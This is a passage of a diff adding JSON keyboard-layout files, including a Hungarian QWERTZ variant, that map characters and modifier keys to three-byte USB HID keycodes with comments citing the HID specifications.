||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"?":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"A":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"Z":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"W":"02,00,1d",
|
||||||
|
"1":"02,00,1e",
|
||||||
|
"2":"02,00,1f",
|
||||||
|
"3":"02,00,20",
|
||||||
|
"4":"02,00,21",
|
||||||
|
"5":"02,00,22",
|
||||||
|
"6":"02,00,23",
|
||||||
|
"7":"02,00,24",
|
||||||
|
"8":"02,00,25",
|
||||||
|
"9":"02,00,26",
|
||||||
|
"0":"02,00,27",
|
||||||
|
"+":"02,00,2e",
|
||||||
|
"M":"02,00,33",
|
||||||
|
"%":"02,00,34",
|
||||||
|
".":"02,00,36",
|
||||||
|
"/":"02,00,37",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"~":"40,00,1f",
|
||||||
|
"#":"40,00,20",
|
||||||
|
"{":"40,00,21",
|
||||||
|
"[":"40,00,22",
|
||||||
|
"|":"40,00,23",
|
||||||
|
"`":"40,00,24",
|
||||||
|
"\\":"40,00,25",
|
||||||
|
"^":"40,00,26",
|
||||||
|
"@":"40,00,27",
|
||||||
|
"]":"40,00,2d",
|
||||||
|
"}":"40,00,2e",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,2e",
|
||||||
|
"COMMAND-CTRL":"40,00,2e",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,2e"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"-":"00,00,2d",
|
||||||
|
"=":"00,00,2e",
|
||||||
|
"[":"00,00,2f",
|
||||||
|
"]":"00,00,30",
|
||||||
|
"#":"00,00,31",
|
||||||
|
";":"00,00,33",
|
||||||
|
"'":"00,00,34",
|
||||||
|
"`":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"/":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"\\":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"^":"02,00,23",
|
||||||
|
"&":"02,00,24",
|
||||||
|
"*":"02,00,25",
|
||||||
|
"(":"02,00,26",
|
||||||
|
")":"02,00,27",
|
||||||
|
"_":"02,00,2d",
|
||||||
|
"+":"02,00,2e",
|
||||||
|
"{":"02,00,2f",
|
||||||
|
"}":"02,00,30",
|
||||||
|
"~":"02,00,31",
|
||||||
|
":":"02,00,33",
|
||||||
|
"@":"02,00,34",
|
||||||
|
"<":"02,00,36",
|
||||||
|
">":"02,00,37",
|
||||||
|
"?":"02,00,38",
|
||||||
|
"|":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"COMMAND-CTRL-SHIFT":"12,00,00",
|
||||||
|
"COMMAND-CTRL":"12,00,00",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"12,00,00"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"z":"00,00,1c",
|
||||||
|
"y":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"'":"00,00,2d",
|
||||||
|
"+":"00,00,2e",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Z":"02,00,1c",
|
||||||
|
"Y":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"*":"02,00,2e",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"{":"40,00,05",
|
||||||
|
"[":"40,00,09",
|
||||||
|
"]":"40,00,0a",
|
||||||
|
"}":"40,00,11",
|
||||||
|
"\\":"40,00,14",
|
||||||
|
"@":"40,00,19",
|
||||||
|
"|":"40,00,1a",
|
||||||
|
"~":"40,00,1e",
|
||||||
|
"^":"40,00,20",
|
||||||
|
"`":"40,00,24",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,24",
|
||||||
|
"COMMAND-CTRL":"40,00,24",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,24"
|
||||||
|
}
|
|
@ -0,0 +1,187 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":" Hungarian QWERTZ language made by Skeleton022",
|
||||||
|
"__comment":" Added áéíóöőúüűÁÉÍÓÖŐÚÜŰ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"z":"00,00,1c",
|
||||||
|
"y":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"ö":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"ü":"00,00,2d",
|
||||||
|
"ó":"00,00,2e",
|
||||||
|
"ő":"00,00,2f",
|
||||||
|
"ú":"00,00,30",
|
||||||
|
"ű":"00,00,31",
|
||||||
|
"é":"00,00,33",
|
||||||
|
"á":"00,00,34",
|
||||||
|
"0":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"í":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Z":"02,00,1c",
|
||||||
|
"Y":"02,00,1d",
|
||||||
|
"'":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"+":"02,00,20",
|
||||||
|
"!":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"/":"02,00,23",
|
||||||
|
"=":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"Ö":"02,00,27",
|
||||||
|
"Ü":"02,00,2d",
|
||||||
|
"Ó":"02,00,2e",
|
||||||
|
"Ő":"02,00,2f",
|
||||||
|
"Ú":"02,00,30",
|
||||||
|
"Ű":"02,00,31",
|
||||||
|
"É":"02,00,33",
|
||||||
|
"Á":"02,00,34",
|
||||||
|
"?":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
"Í":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"COMMAND-CTRL-SHIFT":"12,00,00",
|
||||||
|
"COMMAND-CTRL":"12,00,00",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"12,00,00",
|
||||||
|
"{":"40,00,05",
|
||||||
|
"&":"40,00,06",
|
||||||
|
"[":"40,00,09",
|
||||||
|
"]":"40,00,0a",
|
||||||
|
"}":"40,00,11",
|
||||||
|
"\\":"40,00,14",
|
||||||
|
"@":"40,00,19",
|
||||||
|
"|":"40,00,1a",
|
||||||
|
"#":"40,00,1b",
|
||||||
|
">":"40,00,1d",
|
||||||
|
"~":"40,00,1e",
|
||||||
|
"^":"40,00,20",
|
||||||
|
"`":"40,00,24",
|
||||||
|
"$":"40,00,33",
|
||||||
|
";":"40,00,36",
|
||||||
|
"*":"40,00,38",
|
||||||
|
"<":"40,00,64"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"'":"00,00,2d",
|
||||||
|
"+":"00,00,30",
|
||||||
|
"\\":"00,00,35",
|
||||||
|
"`":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
